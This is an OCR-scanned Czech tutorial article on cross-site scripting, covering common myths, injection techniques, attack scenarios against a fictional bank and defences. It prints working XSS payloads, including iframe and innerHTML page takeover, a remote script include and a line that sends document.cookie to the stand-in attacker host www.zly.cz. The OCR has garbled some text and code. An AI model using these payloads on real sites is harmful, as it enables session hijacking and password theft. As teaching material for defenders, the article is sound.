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K nejrozsirenéjsim a zdroven nejvice opomijenym, podcenovanym a ¢asto ne zcela
pochopenym problémum webovych aplikaci patfi slabiny typu Cross-site scripting,
zkrdcené XSS. Utoénik p#i nich zneuzivd benevolentniho zpracovdni uZivatelskych vstupii
webové aplikace k podstréeni zlomysiného kédu do stranky prezentované nic netusicimu
uzivateli. Cilem utoku muze byt napriklad ztrata dobré povésti provozovatele aplikace nebo
ziskani plnohodnotného pristupu k webové aplikaci s privilegii napadeného uZivatele.

Cross-site scripting (XSS) utok lze povazovat za specialni pfipad ttoka typu Code
Injection, pfi nichz Gtocénik vlozi na vybrané misto (vstup aplikace) vlastni zlomyslny
obsah (kéd), ktery je nasledné aplikaci pfenesen na jiné misto (vystup) a interpretovan
(spustén) v kontextu, ktery by bez pouziti této techniky byl ito¢nikovi jinak nedostupny.

V pripadé XSS je timto vstupem vybrany parametr HTTP zadosti dynamické webové
aplikace (napf. parametr v URL, polozka formulafe nebo hodnota cookie), zlomyslnym
obsahem je kod interpretovatelny webovym prohlizecem (napif. HTML kéd nebo
javascript), vystupem je serverem dynamicky generovana stranka poskytnuta v HTTP
odpovédi a kontextem je uzivatelska seance (jiny termin je relace) klienta pfistupujiciho k
aplikaci.

Management summary

Clanek objasnuje principy velmi rozsifenych slabin webovych aplikaci nazyvanych cross-
site scripting (XSS). Poukazuje na myty spojené s timto problémem a ukazuje razné
pokrocilé techniky jeho zneuziti. Naznacuje, jak mlize uzivatel minimalizovat vyplyvajici
rizika, prestoze skutecné feSeni problému spociva v opravé webové aplikace.

Vysvétleni na jednoduchém pfikladu

Meé&jme webovou aplikaci s funkci fulltextového vyhledavace. Pokud uzivatel do formulafe
napiSe text ,VSTUP“ a stiskne tlacitko, webovy prohlize¢ posle serveru zadost
/search.asp?q=VSTUP a ten odpovi zpét strankou, ktera obsahuje text ,vysledek vyhledani
textu VSTUP ...“. Dtilezitou podminkou je zde ono doslovné opsani hodnoty vstupniho
parametru do odpovédi s vysledkem. Pokud se do formulafe zada napr. text
ahoj<script>alert(666)</script>, prohlize¢ poSle zadost
/search.asp?q=ahoj<script>alert(666)</script> a server odpovi strankou obsahujici text
vysledek vyhledani textu ahoj<script>alert(666)</script> .... Uzivatel tedy vidi stranku s
textem ,vysledek vyhledani textu ahoj ...“ a zaroven na néj vyskodi varovné dialogové
okno s textem 666 (skript je interpretovan).
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Problém nastane, pokud tto¢nik nyni zkopiruje adresu (URL) stranky s podstréenym
kédem (zde napriklad
http://www.example.com/search.asp?q=ahoj<script>alert(666)</script>) a posle ji nékomu
(napf. emailem), kdo stranku prostfednictvim tohoto odkazu navstivi. VSimnéte si, ze
javascriptovy koéd (v URL) ptivodné pochéazi od titocnika (ten jej vlozil do odkazu), obét jej
vSak obdrzi i v odpovédi od serveru (kterému duvéfuje) a tak s nim i zachazi. To je
nebezpecné vzhledem k tomu, Zze bezpecnostni modely webovych prohlizecti jsou
predevs§im zaloZzeny na identité a divéryhodnosti zdroje obsahu (véetné kédu). Jinymi
slovy javascriptovy kod pochazejici ze serveru www.example.com ma moznost plné
manipulovat s webovym prohlizecem v ramci uzivatelské seance mezi prohlizecem a
serverem www.example.com, nebot z hlediska prohlizece kod pochazi ze stejného serveru
(tzv. same-origin policy). Fakt, ze konkrétni kus kédu diky XSS ve skutec¢nosti pochazi od
Utocénika a server jej prohlize¢i uzivatele pouze zprostfedkoval, neni schopen prohlize¢
odhalit.

Z technického hlediska bezpecénost vlastniho serveru i webové aplikace (nikoliv v§ak
sluzby jako celku!) zlistava titokem prakticky nedotcena, primarni obéti je pouze uzivatel.
Za bezpecnost serveru je v typickém pfipadé zodpovédny jeho administrator (pfipadné
webmaster), oba maji tendenci vnimat bezpecnost pouze v kontextu technologické
odolnosti vi¢i pfimym Gtoktim na server. Z toho vyplyva obecna tendence podcenovani
XSS a zfejmeé i skutecnost, ze se s timto problémem setkavame i po mnoha letech se stale
stejné vysokou frekvenci a u vSech typti webovych aplikaci.

Rozsifené myty

Kolem problému XSS se v obecném povédomi vyskytuji rizné polopravdy ¢i myty.
Diskutujme ty nejrozsifené;jsi:

Mytus ¢. 1: Uzivatel musi kliknout

Nikoliv, uzivatel mtze napf. navstivit stranku, ktera jiz zlomyslny kod obsahuje nebo
pifislusny odkaz nahraje napf. v ramci neviditelného ramce ¢i pop-up okna. Typickym
piikladem jsou webova diskusni féra a freemaily.

Mytus ¢. 2: XSS v odkazu uvidim

To je rozumny nazor , nicméné Uitoénik mutize skuteény odkaz v prohlize¢i maskovat
(napf. manipulaci se stavovou liStou prohlizece javascriptem), nebo jej muize
znepfehlednit pomoci hexadecimalniho kédovani znak(it URL anebo mtiZe na cilovy odkaz
prohlize¢ obéti navigovat pomoci presmérovavani (redirectd1) ¢i sluzeb typu tinyurl.com.
Zlomyslny kod se navic viibec nemusi nachazet v adrese stranky, ale muze byt ulozen na
serveru, napr. jako soucast nastaveni profilu pro konkrétni hodnotu identifikace seance
(session ID).

Mytus ¢. 3: Aplikace omezuje délku vstupu a proto je bezpecna

I nékolik malo desitek znak(li muze stacit ke kompletnimu pfepsani obsahu generované
stranky. Stejné tak lze v XSS uvést pouze jakysi zavadé¢ kodu a vlastni funkéni kéd
pomoci n€j prabézné nahravat z ciziho webového serveru, jehoz obsah je pod kontrolou

utocnika (napf. pouzitim nastroje xss-proxy — viz déle v textu).

Mytus ¢. 4: XSS je zneuzitelné pouze v kontextu pfisluSného okna

Nikoliv, ito¢nik mlize napf. zneuzit zpusob udrzovani kontextu uzivatelskych seanci
(typicky pomoci cookies) a v novém okné (nebo skrytém ramci) napfiklad zadat pfikaz
pomoci parametrt v URL. Navic, pokud jina cilova aplikace rovnéz obsahuje XSS chybu,
muiiZe jejim zneuzitim Utocnik ziskat plnohodnotny pfistup k dalsi uzivatelské seanci.
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Jinymi slovy zneuzitim jedné XSS chyby v ramci jedné uzivatelské seance s konkrétnim
serverem je mozné ziskat pfistup ke vSem uzivatelskym seancim s jinymi aplikacemi na
jinych serverech, pokud tyto rovnéz obsahuji XSS slabinu!

Mytus ¢. 5: XSS je nebezpec¢né pouze v dobé, kdy k aplikaci pFistupuji

Nikoliv, pokud je uzivatel napaden XSS v ramci seance s libovolnym serverem, zlomyslny
kod muize vytvorit skryté okno nebo ramec, ve kterém si pocka do doby, nez se uzivatel ke
konkrétni aplikaci pfihlasi.

Jindy lze dokonce vyuzit automatického pfedvyplinovani uzivatelskych jmen a hesel (tzv.
autofill nebo prefill) do pfihlaSovacich formulafta a pomoci javascriptu takto predvyplnéné
udaje precist nebo rovnou pouzit.

Mytus ¢. 6: Nase aplikace je v intranetu, a proto neni zneuzitelna

Pokud je na libovolném WWW serveru na Internetu napaden uzivatel z interni sité a
pfislusna aplikace v intranetu obsahuje XSS chybu (kterou tto¢nik zna), miiZze ji zneuzit
prostfednictvim uzivatelova napadeného prohlizece a ziskat k ni (interaktivni) pfistup,
prestoze se ito¢nik i server s iniciyjicim XSS ttokem nachazeji v Internetu (viz mytus ¢.
4).

Mytus ¢. 7: Metodu POST nelze zneuzit ke XSS

Drtiva vétSina webovych aplikaci obsluhujicich formulare metodou POST stejna data
akceptuji i metodou GET. Staci tedy vyrobit URL, na jehoz konec tito¢nik pfida otaznik s
parametry formulafe (standardni konverze POST metody na GET metodu). Mimoto s
pouzitim javascriptu lze vyrobit obycejné vyhlizejici odkaz, jehoz aktivaci je mozné
metodu POST pouzit.

Mytus €. 8: HTTPS je vuéi XSS imunni

Nikoliv, XSS ttok je zcela nezavisly na pfenosovém protokolu. Protokol HTTPS pouze
zajistuje bezpecny pfenos dat mezi koncovymi body (serverem a prohlizecem), daty
samotnymi se nezabyva. Rovnéz nijak nezkouma, co se s daty na téchto koncovych
bodech déje. XSS titok mifi praveé na tyto koncové body (aplikaéni logiku serveru i
uzivatelliv prohlizec) a jejich zplisob zpracovani prenesenych dat.

Mytus ¢. 9: Bez javascriptu neni XSS

Ani prohlize¢ s vypnutym javascriptem neni proti XSS imunni, i kdyz v tomto pfipadé se
mluvi spiSe o tzv. HTML Embedding. Uto¢nik je v tomto pfipadé zaméfen na manipulaci
s uzivatelem a zneuziva diivéryhodnosti cilového serveru.

Techniky zneuziti XSS

I kdyz nazev cross-site scripting naznacuje pouziti javascriptu, ne vzdy tomu tak musi
byt. Zistaneme u pfikladu z vyhledavanim: Gitoénik sestavi URL, pomoci kterého
pfesvédéi napadeného uzivatele, ze Banka B vyhlasila bankrot:
http://www.example.com/search?q=bankrot: <br>Banka B. vyhlasila bankrot.

Vysledna stranka bude vypadat takto:

Vysledek hledani bankrot:
Banka B. vyhlasila bankrot.
nebyly nalezeny zadné vysledky.

Posledni fadek by mohl v uZivateli vzbudit podezieni, Ze néco neni v pofadku. Utoénik by
udélal 1épe, kdyby zpravu o nenalezeni vysledkti zamaskoval. Asi nejjednodussim
zpusobem je pouzit HTML komentar (<!--), pfipadné by mohl nastavit barvu textu
stejnou jako barva pozadi (<span style="color:white">), nebo nastavit velikost fontu na
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necitelné malou hodnotu (napf. 1 bod). Jinou moznosti je ,vytlacit* nevhodny text pod
okraj prohlizece:

<span style="display:block;height:1000px"></span>

VSechny tyto techniky pouzivaji pouze HTML a neni nutné, aby uzivatel mél povoleny
javascript. Obéti je zmanipulovany uzivatel, ale stejné tak mtize byt po§kozena i povést
provozovatele. Priklad zneuziti viz scénar ¢.1 v boxu ¢. 1.

IFRAME (stale bez javascriptu)

Dalsi metodou je pouzit HTML tag iframe. Jeho atribut src mtize ukazovat na predem
pfipravenou stranku.

<iframe src="http://xss.zly.cz"/>
Samoziejmeé je vhodné vyladit atributy ramu jako Sifka, vyska, okraj a vodici liSta:

<iframe src="http://xss.zly.cz" width=100% heiht=1000px frameborder=0 scrolling=no />

InnerHTML (jiZz s javascriptem)

Casto se stava, ze XSS se objevuje hluboko uvnitt stranky. Bez ovlivnéni pfedchoziho
obsahu by vlozeny text vypadal podeziele (napf. zprava o bankrotu banky uprostied
vysledkt vyhledavani).

Nastésti pro ttocénika javascript disponuje silnym arzenalem pro manipulaci s obsahem
stranky. Kazdy HTML objekt ma vlastnost (property) innerHtml. Nasledujici kéd ukazuje
zpusob nahrazeni celé stranky za jinou (s potencialné Skodlivym obsahem):

<script>document.body.innerHtmI="<iframe src="http://www.zly.cz/'/>"</script>

Problémy pfi pouziti HTTPS

Je-li pfi pfistupu k aplikaci pouzit protokol HTTPS, mtize byt problém se zpétnou vazbou
(tedy zaslanim ziskanych informaci zpét ito¢nikovi). Pokud se v kontextu zabezpecenych
stranek vyskytne dotaz na stranky nezabezpecené (tedy pfes HTTP), prohlize¢ zpravidla
zobrazi varovani; ¢asto i s informaci, kam nezabezpeceny dotaz sméfuje. To by v mohlo
vyvolat podezfeni. Pokud vSak dotaz se zpétnou vazbou bude realizovan také pomoci
HTTPS, bézné pouzivané prohlizece uzivatele neupozorni, pfestoze dotaz sméfuje na jiny
server (s platnym certifikatem).

Absolutni zaruku, ze Gitok nevzbudi podezieni, zajisti, kdyz bude zpétna vazba
realizovana pfimo danou aplikaci resp. jeji ¢asti, ve které je néjaka akce uzivatele
viditelna i pro jiného uzivatele (nejlépe anonymniho). MtiZe jit napf. o diskusni forum
nebo tfeba upravu vefejné pfistupnych informaci o uzivateli a pod. Utoénik pak tuto
zménu zaznamena regulérnim pfistupem k aplikaci.

Problémy zpétné vazby fesi scénafe uvedené v Boxu 2.

Vzdalené ovladani prohliZzece pomoci XSS-proxy
Nastroj XSS-proxy znaéné zjednodusuje zneuziti XSS a umoznuje vzdalené interaktivni
ovladani napadeného prohlizece.

XSS-proxy je vlastné HTTP server, ktery nasloucha na utocnikové serveru. Tento HTTP
server zprostredkovava komunikaci mezi itoénikem a napadenym prohlizecem. Utocnik
muiiZze na serveru zjiStovat aktivitu napadenych obéti, zobrazovat obsah napadeného okna
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a predavat prikazy v javascriptu. Naopak napadeny prohlize¢ vyuziva server pro ziskavani
novych pozadavkt od ttocénika a pro zpétné oznameni vysledku.

Cely titok probiha takto: itoénik zprovozni XSS-proxy na www.zly.cz, zneuzije XSS ve
strankach www.example.com a tim vnuti uzivateli kod zdanlivé pfichazejici praveé ze
stranek www.example.com. Podstréeny koéd je pomérné kratky:

<script src="http://www.zly.cz/xss2.js"></script>

Prohlize¢ kontaktuje XSS-proxy na www.zly.cz, stahne a provede xss2.js. Tento javascript
zpusobi, ze se prohlize¢ kazdych 6 sekund opét prihlasi k XSS-proxy a zkontroluje, jestli
neni k dispozici novy pozadavek.

Mezitim se k XSS-proxy pfipoji i itoénik. Zde ma prehled aktivnich napadenych uzivatelti
a formular pro zadavani javascriptovych prikazl, které budou provadény u napadené
obéti. Dale mtize napadeného klienta pozadat o nahrani libovolné stranky a zobrazeni
jejiho obsahu. Tuto stranku pak mtize pomoci javascriptu ovladat (napf. vyplnit
formulaf, odeslat ho a podobné€). Vzhledem k tzv. same-origin policy je mozné takto pfimo
ovladat pouze stranky pochazejici ze stejného mista jako napadena stranka (v nasem
pfipadé: www.example.com).

kombinovano i vice slabin z rznych servert, jsou uvedeny v boxu 2.

Box 1

Scénafe jednodussich atoku

Scénar ¢. 1: Defacement

Predpoklad: banka B ma na strankach XSS.
Utoénik si pfipravi URL, které modifikuje stranku.

Obét klikne na pfipravené URL. Zobrazena stranka zdanlivé pochazi od banky B,
zobrazené informace mohou firmu poskozovat (bankrot banky, pfiznani korupce uvnitf
banky), nebo se mohou snazit manipulovat s obéti (vyherni listina obsahujici obét,
vyhodné nabidky a nebo naopak oznameni hrozby).

Scénar ¢. 2: kradez cookie
Predpoklad: banka B ma na strankach XSS.

Uzivatel je pfihlaSeny v aplikaci banky B. Seance je v aplikaci banky B identifikovana
pomoci cookie.

Uzivatel v priibéhu této seance (napf. v jiném okné) ,§lapne“ na XSS. V kontextu aplikace
banky B je v uzivatelové prohlizec¢i spustén Skodlivy javascript.

Zjistit hodnotu cookie 1ze javascriptem pomoci document.cookie. Mohlo by se zdat, ze je
problém ziskanou cookie dostat zpét k tito¢nikovi. Stac¢i vSak vygenerovat HTTP dotaz
(obsahujici hodnotu cookie v URL) smeéfujici na server ovladany utoénikem. Nasledujici
piiklad predpoklada existenci obrazku se jménem obrazek (tedy <img name='obrazek' ...
>):

obrazek.src="http:/ /www.zly.cz/picture.jpg?"+document.cookie
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Box 2

veswoexva

Scénar ¢. 3: utok pri soucasném prihlaseni
Predpoklady: obét je pfihlasena v aplikaci pro spravu Gctu u banky B. Aplikace banky B
obsahuje XSS.

Utoénik podstréi obéti URL zneuzivajici XSS (kreativni metoda podstréeni z pomoci
diskusniho féra je popsana dale). Pomoci javascriptu je ziskana identifikace seance
(typicky cookie) a ta je zaslana tito¢nikovi.

Utoénik nyni mtize v aplikaci banky B provadét akce s opravnénim obéti, nebot zna
cookie identifikujici seanci. Utoénik v§ak pfi tomto utoku nezjistil jméno a heslo obéti a
pfi jejim odhlaSeni ziskané opravnéni ztratil.

Scénar ¢.4: cekani na heslo
Predpoklady: banka B ma na strankach XSS. Vlastni aplikace vyzaduje pro pfistup
jméno a heslo. Webova aplikace pouziva pojmenované ramece.
Utoénik podstréi obéti zavadné URL s XSS. Javascriptem je vytvofeno nové skryté okno.
Skodlivy k6d ma dva ukoly:

1) pockat, az uzivatel otevie nové okno a bude se snazit pfihlasit do banky B,

2) ziskat informace z pfihlaSovaciho formulafe (uzivatelské jméno a heslo) a odeslat je.

Prvni kol je mozné provést nasledujicim zptisobem: javascript zméni document.cookie
(napf. na prazdnou hodnotu). V okamziku, kdy uzivatel otevie nové okno a pfipoji se na
stranky Banky B, dojde ke zméné cookie zpét na hodnotu pozadovanou serverem. Jelikoz
je cookie pro vSechny stranky spole¢na, zjisti tuto zménu i javascript ve skrytém okné.

Druhy ukol je snadny, pokud aplikace pouziva pojmenované ramce. Nasledujici kéd vrati
odkaz na pozadované okno (pfedpokladame, ze inkriminovany ram s pfihlaSovacim
formulafem se jmenuje left):

w=open(",'left');

Hodnotu uzivatelského jména resp. hesla z formulate je mozné zjistit pomoci
I=w.document.forms[0].login.value resp. p=w.document.forms[0].password.value. Jména
polozek samoziejmeé zavisi na konkrétnim formulafi.

Poté musi javascript ziskané hodnoty ,,pfedat” Gitoénikovi (viz vyse).

Scénar ¢. 5: utok z diskusniho fora

Predpoklady: obét pouziva banku B, ktera trpi XSS. Obét dale pouziva diskusni forum F,
které také trpi XSS.

Utoénik vlozi do diskusniho fora XSS. Obét vstoupi do diskuse a tim se spusti XSS.
Javascript nasledné zneuzije XSS ve strankach banky B. V tomto okamziku v prohlizeci
obéti bézi javascript v kontextu www.bankaB.cz. Pokud je titok precizni, obét nic
nezpozoruje.
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Obét opusti féorum a rozhodne se podivat do banky B. Javascript skryté bézici ve stejném
kontextu, muze pristupovat k oknu banky, tedy napriklad k formulafti pro pfihlaseni, a
ukrast uzivatelské jméno a heslo (viz vySe).

Scénadr ¢. 6: session fixation aneb vnuceni cookie

Predpoklady: aplikace banky B pro nakladani s ti¢tem bézi na HTTPS (port 443). Seance
je identifikovana pomoci cookie. Tato aplikace XSS netrpi. OvS§em tvodni informaéni
stranky banky B bézi na HTTP (port 80) na stejném serveru a chybu XSS obsahuyji.

Utoénik podstréi obéti URL zneuzivajici XSS na HTTP (metoda podstréeni mtize byt
kreativni jako v pfedchozim pfipadé). Javascriptem je nastavena cookie pro dany server.

Obét vstoupi na HTTPS stranky a prohlize¢ posle podstréenou cookie.

Server uvidi neznamou cookie, usoudi, ze jde cookie, jejiz platnost jiz vyprSela a kterou si
tudiz nepamatuje, necha tedy obét znovu se prihlasit. Hodnotu cookie v§ak nezmeéni a
akceptuje ji (jina, bézné se vyskytujici a na prvni pohled neSkodna slabina webovych
aplikaci).

Obét se prihlasi do banky B.

Utoénik nyni mtiZe provadét akce s opravnénim obéti, nebot zna cookie, identifikujici
seanci.

Prevence a obrana

Webové aplikace by mély veSkeré uzivatelské vstupy (pfimé i neprimé) dukladné
kontrolovat, konkrétné zda obsahuji data pouze v pfedem definovaném formatu. Zejména
je nutno kontrolovat obsah vstupt, jejichz hodnoty se opisuji (¢i jinak promitaji) do
vystupt aplikace, v tomto pfipadé do dynamicky generovanych webovych stranek.
Vhodné je pfedem definovat mnoziny povolenych znaku ¢i fetézcu pro konkrétni vstupy a
zakazat (pfipadné vhodnym zptsobem bezpecné zneSkodnit nebo zneutralizovat) v§e
ostatni. Zejména je nutné oSetfit znaky uvozujici HTML a javascript kéd, tedy pfedevsim
< >,aleiznaky "'% ;) ( &+ - (i kdyz existuji ne zcela vyjimecné pfipady, kdy lze obsah
generované stranky nebezpecné zmanipulovat i bez pouziti téchto znaku).

Kvalitni ochrana webové aplikace pred XSS ttoky vS§ak nespoléha pouze na kontrolu
vstupt aplikace, nybrz dukladné kontroluje i jeji vystupy, nebot vnitini logika aplikace
muze byt natolik slozita, ze i na prvni pohled ne§kodné vstupy muize aplikace zpracovat
takovym zpusobem, ze vystup bude obsahovat ito¢niktiv kod.

Z hlediska uzivatele webového prohlizece (zatim) zadna jednoducha a stoprocentné
ucinna obrana neexistuje. Mnoha (nikoliv v§em) nebezpeénym XSS ttoktim se 1ze
aplikace ke své funkci javascript vyzaduji (ponechme stranou fakt, ze mnohdy zcela
zbytecné). Kompromisem by mohlo byt povolovani a zakazovani javascriptu podle toho, s
jakymi aplikacemi ¢i s jakymi servery uzivatel pravé pracuje. V prohlizeci Internet Exlorer
je toho mozné dosahnout pomoci vhodného nastaveni tzv. zén. Riziko mtize ¢astecné
zmenS§it i omezeni pravomoci javascriptového interpretu v prohlizeci, jako 1ze napft. v
prohlize¢i Mozilla (resp. Firefox) i kdyz souc¢asné moznosti tohoto nastaveni jsou silné
omezené.

Obecné lze doporucit pfi pfistupu na WWW dodrzovat bézna ,hygienicka“ pravidla:
navs§tévovat pouze duvéryhodné servery, nasledovat pouze dtivéryhodné odkazy, na citlivé
aplikace pristupovat pouze pfes vlastni zalozky nebo ru¢né napsané adresy. Je velmi
vhodné separovat uzivatelské seance s citlivymi aplikacemi a bézné surfovani po
Internetu, v idealnim pfipadé€ oboji provadét na rznych pocitacich prip. alespon raznymi
prohlize¢i nebo pred pfistupem do citlivé aplikace uzavfit vSechna okna prohlizece. Po
pouziti aplikace je vhodné korektné se odhlasit a poté uzavrit vSechna okna prohliZzece.
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Zaveér

Jak je vidét z logiky XSS tutokl a pouzivanych technik, uzivatel je proti XSS prakticky
bezbranny. Kritickym mistem je totiz slabina ve webové aplikaci. Tu vS§ak ¢asto nejsou
zodpovédni administratofi ochotni opravit, nebot neni pfimo ohrozena bezpecénost jejich
serveru. Proto se s jistotou budeme s timto problémem setkavat i v budoucnu.
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